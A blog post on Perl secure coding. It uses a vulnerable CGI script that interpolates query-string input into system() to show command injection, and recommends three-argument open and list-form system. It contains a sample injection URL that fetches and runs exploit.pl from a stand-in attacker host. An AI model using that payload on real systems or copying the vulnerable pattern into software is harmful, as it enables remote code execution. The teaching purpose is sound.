A couple of days after writing the Petty Tyranny of Good Habits, I stumbled across an example. I still don't quite understand what the Pinata Buster code does, but I found a security hole two seconds into reading the code. (I notified them and they updated their program quickly, so I'm avoiding the full disclosure debate debacle.)
The original code looked something like:
#!/usr/bin/perl -w
my @values = split(/&/,$ENV{'QUERY_STRING'});
foreach my $i (@values) {
($varname, $mydata) = split(/=/,$i);
}
system( "echo '$mydata' >> /home/rhett/usernick" );
system('/home/rhett/music_player.rb &');
system('/home/rhett/servos/phidgets-examples/AdvancedServo-simple &');The emboldened line shows the problem. (Yes, splitting the query string on
& is horribly buggy on its own, but that's not a security
flaw in and of itself.)
This isn't quite a Bobby Tables moment, in that the potential for mischief can affect anything the user account under which this program runs, and not just a SQL database.
(If you don't see the security problem, think about what would happen if
someone invoked this program with the URL
http://example.com/buggy.cgi?exploit='; wget
http://evil.example.com/exploit.pl && $^X exploit.pl; echo "all is
fine", properly URL-encoded of course.)
This is the same type of problem which makes this code:
# DO NOT USE
open my $fh, "$some_file_name" or die "Security breach didn't work: $!";... much less secure than the modern version:
# SAFE TO USE
open my $fh, '<', $some_file_name or die "Cannot read from input file: $!";This is not a problem you can (entirely) alleviate by vetting the content of
the string; it's difficult to craft a regex or a series of transformations to
remove every possible combination of characters which may cause unintended
behavior. You should continue to vet the sanity of the contents of
these strings to help with security and safety, but the most reliable
way to avoid unintentional interpolation problems with untrusted user input is
to avoid interpolation altogether, whether with the three-arg form of
open or with the list form of system.
Note that even though the example program has replaced the offending system with direct file access using two-arg open, it does not interpolate untrusted user input in an unsafe fashion. It's still clunky code, but it's safer.
Again, the unsafe forms of open and system are merely warning signs. (This pattern of program isn't inherently bad. I have a very useful shell script written in Perl 5 which uses a similar pattern of string manipulation and system calls because string manipulation in bash is painful.) The problem is interpolation of untrusted user input in places where untrusted characters may produce unintended behavior.
Then again, the safe forms of open and system exist to avoid that problem altogether.
